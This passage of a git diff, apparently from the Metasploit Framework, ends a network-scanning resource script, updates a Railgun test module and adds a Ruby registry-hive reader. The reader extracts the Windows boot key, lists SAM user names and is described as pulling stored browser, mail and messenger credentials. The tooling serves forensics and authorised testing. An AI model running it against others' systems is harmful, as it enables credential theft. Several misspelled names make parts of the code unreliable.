auxiliary/scanner/discovery/udp_sweep") +run_single("run -j") + +if ( nmap == 1 ) + print_line("Module: db_nmap") + if ( verbose == 1) + run_single("db_nmap -v -n -PN -P0 -O -sSV #{framework.datastore['RHOSTS']}") + else + run_single("db_nmap -n -PN -P0 -O -sSV #{framework.datastore['RHOSTS']}") + end +else + print_line("Module: portscan/tcp") + run_single("use auxiliary/scanner/portscan/tcp") + run_single("set PORTS #{ports}") + run_single("run -j") +end + diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index 513cebca38..5571f42373 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -1,4 +1,3 @@ - ## # $Id$ ## @@ -12,9 +11,12 @@ require 'msf/core' require 'rex' +require 'msf/core/post/windows/railgun' class Metasploit3 < Msf::Post + include Msf::Post::Windows::Railgun + def initialize(info={}) super( update_info( info, 'Name' => 'railgun_testing', @@ -28,26 +30,25 @@ class Metasploit3 < Msf::Post [ OptInt.new("ERR_CODE" , [true, "Error code to reverse lookup", 0x420]), OptInt.new("WIN_CONST", [true, "Windows constant to reverse lookup", 4]), - OptString.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", "^SERVICE"]), - OptString.new("ECREGEX", [false,"Regexp to apply to error code lookup", "^ERROR_SERVICE_"]), + OptRegexp.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", '^SERVICE']), + OptRegexp.new("ECREGEX", [false,"Regexp to apply to error code lookup", '^ERROR_SERVICE_']), ], self.class) end def run + print_debug datastore['ECREGEX'] print_status("Running against session #{datastore["SESSION"]}") print_status("Session type is #{session.type}") - @rg = session.railgun - print_status() - print_status("TESTING: const_reverse_lookup on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}") - results = @rg.const_reverse_lookup(datastore['WIN_CONST'],datastore['WCREGEX']) + print_status("TESTING: select_const_names on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}") + results = select_const_names(datastore['WIN_CONST'],datastore['WCREGEX']) print_status("RESULTS: #{results.class} #{results.pretty_inspect}") print_status() print_status("TESTING: error_lookup on #{datastore['ERR_CODE']} filtering by #{datastore['ECREGEX'].to_s}") - results = @rg.error_lookup(datastore['ERR_CODE'],datastore['ECREGEX']) + results = lookup_error(datastore['ERR_CODE'],datastore['ECREGEX']) print_status("RESULTS: #{results.class} #{results.inspect}") print_status() diff --git a/tools/reg.rb b/tools/reg.rb new file mode 100755 index 0000000000..26127f3626 --- /dev/null +++ b/tools/reg.rb @@ -0,0 +1,519 @@ +#!/usr/bin/env ruby +# +# $Id$ +# +# This script acts as a small registry reader. +# You may easily automate a lot of registry forensics with a proper method. +# $Revision$ +# + +msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__ +$:.unshift(File.join(File.dirname(msfbase), '..', 'lib')) + +require 'rex' +require 'msf/ui' +require 'rex/registry/hive' + +def print_all(nodekey) + print_all_keys(nodekey) + print_all_values(nodekey) +end + +def print_all_keys(nodekey) + + return if !nodekey + return if !nodekey.lf_record + return if !nodekey.lf_record.children + return if nodekey.lf_record.children.length == 0 + + table = Rex::Ui::Text::Table.new( + 'Header' => "Child Keys for #{nodekey.full_path}", + 'Indent' => ' '.length, + 'Columns' => [ 'Name', 'Last Edited', 'Subkey Count', 'Value Count' ] + ) + + if nodekey.lf_record && nodekey.lf_record.children && nodekey.lf_record.children.length > 0 + nodekey.lf_record.children.each do |key| + table << [key.name, key.readable_timestamp, key.subkeys_count, key.value_count] + end + end + + puts table.to_s +end + +def print_all_values(nodekey) + + return if !nodekey + return if !nodekey.lf_record + return if !nodekey.lf_record.children + return if nodekey.lf_record.children.length == 0 + + table = Rex::Ui::Text::Table.new( + 'Header' => "Values in key #{nodekey.full_path}", + 'Indent' => ' '.length, + 'Columns' => ['Name','Value Type', 'Value'] + ) + if nodekey.value_list && nodekey.value_list.values.length > 0 + nodekey.value_list.values.each do |value| + table << [value.name, value.readable_value_type, value.value.data] + end + end + + puts table.to_s +end + +def get_system_information + if @hive.hive_regf.hive_name =~ /SYSTEM/ + mounted_devices_info_key = @hive.relative_query("\\MountedDevices") + + current_control_set_key = @hive.value_query('\Select\Default') + current_control_set = "ControlSet00" + current_control_set_key.value.data.unpack('c').first.to_s if current_control_set_key + + computer_name_key = @hive.value_query("\\" + current_control_set + "\\Control\\ComputerName\\ComputerName") if current_control_set + computer_name = computer_name_key.value.data.to_s if computer_name_key + + event_log_info_key = @hive.relative_query("\\" + current_control_set + "\\Services\\EventLog") if current_control_set + + puts "Computer Name: " + computer_name if computer_name + + print_all_values(event_log_info_key) if event_log_info_key + puts "-----------------------------------------" if event_log_info_key + + print_all_values(mounted_devices_info_key) if mounted_devices_info_key + puts "-----------------------------------------" if mounted_devices_info_key + + elsif @hive.hive_regf.hive_name =~ /SOFTWARE/ + current_version_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion") + login_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") + + print_all_values(current_version_info_key) + puts "-----------------------------------------" if current_version_info_key + + print_all_values(login_info_key) + puts "-----------------------------------------" if login_info_key + end +end + +def get_user_information + + + local_groups_info_key = @hive.relative_query("\\SAM\\Domains\\Builtin\\Aliases\\Names") + local_users_info_key = @hive.relative_query("\\SAM\\Domains\\Account\\Users\\Names") + + print_all(local_groups_info_key) + puts "------------------------------------------------" if local_groups_info_key && local_groups_info_key.lf_record.children + + print_all(local_users_info_key) + puts "------------------------------------------------" if local_users_info_key && local_groups_info_key.lf_record.children +end + +def dump_creds +end + +def get_boot_key + + return if !@hive.root_key + return if !@hive.root_key.name + + puts "Getting boot key" + puts "Root key: " + @hive.root_key.name + + default_control_set = @hive.value_query('\Select\Default').value.data.unpack("c").first + + puts "Default ControlSet: ControlSet00#{default_control_set}" + + bootkey = "" + basekey = "\\ControlSet00#{default_control_set}\\Control\\Lsa" + + %W{JD Skew1 GBG Data}.each do |k| + ok = @hive.relative_query(basekey + "\\" + k) + return nil if not ok + + tmp = "" + 0.upto(ok.class_name_length - 1) do |i| + next if i%2 == 1 + + tmp << ok.class_name_data[i,1] + end + + bootkey << [tmp.to_i(16)].pack('V') + end + + + keybytes = bootkey.unpack("C*") + + descrambled = "" + # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] + descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] + + 0.upto(keybytes.length-1) do |x| + descrambled << [ keybytes[ descrambler[x] ] ].pack("C") + end + + puts descrambled.unpack("H*") +end + +def list_applications +end + +def list_drivers +end + +def get_aol_instant_messenger_information + + if @hive.hive_regf.hive_name != /NTUSER\.dat/i + users_list_key = @hive.relative_query('\Software\America Online\AOL Instant Messenger(TM)\CurrentVersion\Users') + last_logged_in_user_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Login - Screen Name") + + print_all_keys(user_list_key) + + user_list_key.lf_record.children.each do |screenname| + away_messages_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\IAmGoneList") + file_xfer_settings_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Xfer") + profile_info_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\DirEntry") + recent_contacts_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Recent IM ScreenNames") + + print_all(away_messages_key) + print_all(file_xfer_settings_key) + print_all(profile_info_key) + print_all(recent_contacts_key) + end + + end +end + +def get_msn_messenger_information + + if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i + general_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NETMessengerService\\") + file_sharing_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\FileSharing - Autoshare") + file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\ - FTReceiveFolder") + + print_all(general_information_key) + print_all(file_sharing_information_key) + print_all(file_transfers_information_key) + end +end + +def get_windows_messenger_information + if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i + contact_list_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service") + file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\Messenger Service - FtReceiveFolder") + last_user_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service - IdentityName") + + print_all(contact_list_information_key) + print_all(file_transers_information_key) + print_all(last_user_information_key) + end +end + +def get_icq_information + if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i + general_information_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ") + + print_all(general_information_key) + elsif @hive.hive_regf.hive_name =~ /SOFTWARE/ + owner_number_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ\\Owner") + + print_all(owner_number_key) + end +end + +def get_ie_information + if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i + stored_logon_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Internet Explorer\\Internet Explorer - URL:StringData") + stored_search_terms_information_key = @hive.relative_quety("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex") + ie_setting_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Main") + history_length_value_key = @hive.value_query("\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\URL History - DaysToKeep") + typed_urls_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Typed URLs") + intelliforms_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Intelliforms") + autocomplete_web_addresses_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider") + default_download_dir = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer") + + print_all(stored_logon_information_key) + print_all(stored_search_terms_information_key) + print_all(ie_settings_information_key) + print_all(type_urls_information_key) + print_all(intelliforms_information_key) + print_all(autocomplete_web_addresses_key) + print_all(default_download_dir) + + puts "Days saved in history: " + history_length_value_key.value.data.to_s + end +end + +def get_outlook_information + if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i + account_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Identification\\INETCOMM Server Passwords") + + print_all(account_information_key) + end +end + +def get_yahoo_messenger_information + if @hive.hive_regf.hive_name =~ /NTUSER\.dat/i + profiles_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles") + + print_all(profiles_key) + + profiles_key.lf_record.children.each do |child| + file_transfers_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\FileTransfer") + message_archiving_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\Archive") + + print_all(file_transfer_information_key) + print_all(message_archiving_information_key) + end + end +end + +def get_networking_information + +end + +def get_user_application_information +end + +if ARGV.length == 0 || ARGV[0] == "help" + no_args = %Q{ +Usage: reg.rb + +Available commands: + query_key Query for more information about a specific node key + query_value Query for the value of a specific value key + get_boot_key Extract the boot key from the SYSTEM hive + dump_creds Dump the usernames and password hashes of the users from the SAM hive + list_applications List all the applications installed via the SOFTWARE hive + list_drivers List all the devices and their respective drivers and driver versions from SYSTEM hive + get_everything When pointed to a directory with hives, it will run all commands on all available hives + get_aol_instant_messenger_information Get credentials and general information on AOL Instant Messenger users from NTUSER.dat + get_msn_messenger_information Get credentials and general information on MSN Messenger users from NTUSER.dat + get_windows_messenger_information Get credentials and general information on Windows Messenger users from NTUSER.dat + get_icq_information Get credentials and general information on ICQ users from NTUSER.dat + get_ie_information Get stored credentials, typed history, search terms, and general settings from NTUSER.dat + get_outlook_information Gets outlook and outlook express stored credentials and general information from NTUSER.dat + get_yahoo_messenger_information Gets credentials and general information on Yahoo! Messenger users from NTUSER.dat + get_system_information Gets general system administration from both SOFTWARE and SYSTEM hives + get_networking_information Gets networing information from the SAM, SYSTEM, and NTUSER.dat hives + get_user_information Gets general user information from the SYSTEM, SECURITY, SAM, and NTUSER.dat hives + get_user_application_information Gets user-specific application information from the NTUSER.DAT and SOFTWARE hives + } + + puts no_args +elsif ARGV[0] == "query_key" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + puts "Hive name: #{@hive.hive_regf.hive_name}" + + 1.upto(ARGV.length - 2) do |arg| + selected = @hive.relative_query(ARGV[arg]) + + print_all(selected) + end +elsif ARGV[0] == "query_value" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + puts "Hive name: #{@hive.hive_regf.hive_name}" + + 1.upto(ARGV.length - 2) do |i| + selected = @hive.value_query(ARGV[i]) + + if !selected + puts "Value not found." + return + end + + puts "Value Name: #{selected.name}" + puts "Value Data: #{selected.value.data.inspect}" + end +elsif ARGV[0] == "get_boot_key" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /SYSTEM/ + puts "I need a SYSTEM hive to grab the boot key, not a #{@hive.hive_regf.hive_name}." + else + get_boot_key + end + +elsif ARGV[0] == "dump_creds" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /SAM/ + puts "I need a SAM hive, not a #{@hive.hive_regf.hive_name}" + else + dump_creds + end + +elsif ARGV[0] == "list_applications" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /SOFTWARE/ + puts "I need a SOFTWARE hive, not a #{@hive.hive_regf.hive_name}." + else + list_applications + end + +elsif ARGV[0] == "list_drivers" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /SYSTEM/ + puts "I need a SYSTEM hive, not a #{@hive.hive_regf.hive_name}." + else + list_drivers + end + +elsif ARGV[0] == "get_everything" + Dir.foreach(ARGV[1]) do |file| + next if file =~ /^\./ + + @hive = Rex::Registry::Hive.new(ARGV[1] + "/" + file) + + next if !@hive.hive_regf + next if !@hive.hive_regf.hive_name + + if @hive.hive_regf.hive_name =~ /SYSTEM/ + + puts "Found a SYSTEM hive..." + + list_drivers + get_boot_key + get_system_information + get_networking_information + get_user_information + + elsif @hive.hive_regf.hive_name =~ /SOFTWARE/ + + puts "Found a SOFTWARE hive..." + + list_applications + get_icq_information + get_system_information + get_networking_information + get_user_information + get_user_application_information + + elsif @hive.hive_regf.hive_name =~ /SAM/ + + puts "Found a SAM hive..." + + get_networking_information + get_user_information + + elsif @hive.hive_regf.hive_name =~ /SECURITY/ + + puts "Found a SECURITY hive..." + + get_user_information + + elsif @hive.hive_regf.hive_name =~ /NTUSER\.dat/i + + puts "Found a NTUSER.dat hive..." + + get_aol_instant_messenger_information + get_icq_information + get_ie_information + get_msn_messenger_information + get_outlook_information + get_windows_messenger_information + get_yahoo_messenger_information + get_networking_information + get_user_information + get_user_application_information + + end + end + +elsif ARGV[0] == "get_aol_instant_messenger_information" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /NTUSER\.DAT/i + puts "I need the NTUSER.dat hive, not #{@hive.hive_regf.hive_name}." + else + get_aol_instant_messenger_information + end + +elsif ARGV[0] == "get_icq_information" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i && @hive.hive_regf.hive_name !~ /SOFTWARE/ + puts "I need either a SOFTWARE or NTUSER.dat hive, not #{@hive.hive_regf.hive_name}." + else + get_icq_information + end +elsif ARGV[0] == "get_ie_information" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_regf.hive_name}." + else + get_ie_information + end + +elsif ARGV[0] == "get_msn_messenger_information" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_regf.hive_name}." + else + get_msn_messenger_information + end + +elsif ARGV[0] == "get_outlook_information" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_regf.hive_name}." + else + get_outlook_information + end + +elsif ARGV[0] == "get_windows_messenger_information" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not a #{@hive.hive_regf.hive_name}." + else + get_windows_messenger_information + end + +elsif ARGV[0] == "get_yahoo_messenger_information" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not a #{@hive.hive_regf.hive_name}." + else + get_yahoo_messenger_information + end + +elsif ARGV[0] == "get_system_information" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /SYSTEM/ && @hive.hive_regf.hive_name !~ /SOFTWARE/ + puts "I need the SYSTEM or SOFTWARE hive, not #{@hive.hive_regf.hive_name}." + else + get_system_information + end +elsif ARGV[0] == "get_networking_information" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /SAM/ && @hive.hive_regf.hive_name !~ /SYSTEM/ && @hive.hive_regf.hive_name !~ /NTUSER\.dat/i + puts "I need either a SAM, SYSTEM, or NTUSER.dat hive, not a #{@hive.hive_regf.hive_name}." + else + get_networking_information + end + +elsif ARGV[0] == "get_user_information" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /SAM/ + puts "I need a SAM hive. Not a #{@hive.hive_regf.hive_name}." + else + get_user_information + + end +elsif ARGV[0] == "get_user_application_information" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + + if @hive.hive_regf.hive_name !~ /NTUSER\.dat/i && @hive.hive_regf.hive_name !~ /SOFTWARE/ + puts "I need either an NTUSER.dat or SOFTWARE hive, not a #{@hive.hive_regf.hive_name}." + else + get_user_application_information + end +end